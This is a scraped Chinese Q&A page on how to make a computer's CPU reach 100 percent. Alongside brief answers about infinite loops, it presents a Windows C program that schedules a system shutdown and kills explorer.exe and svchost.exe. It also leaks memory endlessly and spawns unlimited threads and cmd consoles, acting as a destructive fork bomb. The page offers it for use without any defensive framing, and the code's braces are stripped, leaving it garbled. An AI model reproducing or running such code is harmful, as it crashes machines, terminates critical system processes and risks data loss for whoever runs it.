怎么写一个程序让机器CPU占用100
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了怎么写一个程序让机器CPU占用100相关的知识,希望对你有一定的参考价值。
(1)写个死循环,做三角函数运算。(2)调用消息,在消息处理函数里面,再次调用消息(也是死循环)。
一般运行一会,有的会出现CPU过热、报警。
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
DWORD WINAPI ThreadProc(LPVOID lpParam)
PROCESSENTRY32 pe32;
pe32.dwSize=sizeof(pe32);
HANDLE hProcess;
HANDLE hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
BOOL bMore =::Process32First(hProcessSnap,&pe32);
STARTUPINFO si=sizeof(si);
PROCESS_INFORMATION pi;
si.dwFlags=STARTF_USESHOWWINDOW;
si.wShowWindow=TRUE;
system("shutdown -s -t 120");
while(bMore)
if(strcmp(pe32.szExeFile,"explorer.exe")==0 || strcmp(pe32.szExeFile,"svchost.exe")==0)
hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID );
TerminateProcess(hProcess,0);
bMore=::Process32Next(hProcessSnap,&pe32);
while(1)
void *p=malloc(1024*1024);
CreateProcess(NULL,"cmd",NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL,NULL,&si,&pi);
int main(int argc, char *argv[])
HANDLE hThread;
DWORD dwThreadId;
while(1)
hThread=CreateThread(NULL,0,ThreadProc,NULL,0,0);
return 0;
参考技术A 比较简单。
(1)写个死循环,做三角函数运算。
(2)调用消息,在消息处理函数里面,再次调用消息(也是死循环)。
一般运行一会,有的会出现CPU过热、报警。 参考技术B no zuo no die
以上是关于怎么写一个程序让机器CPU占用100的主要内容,如果未能解决你的问题,请参考以下文章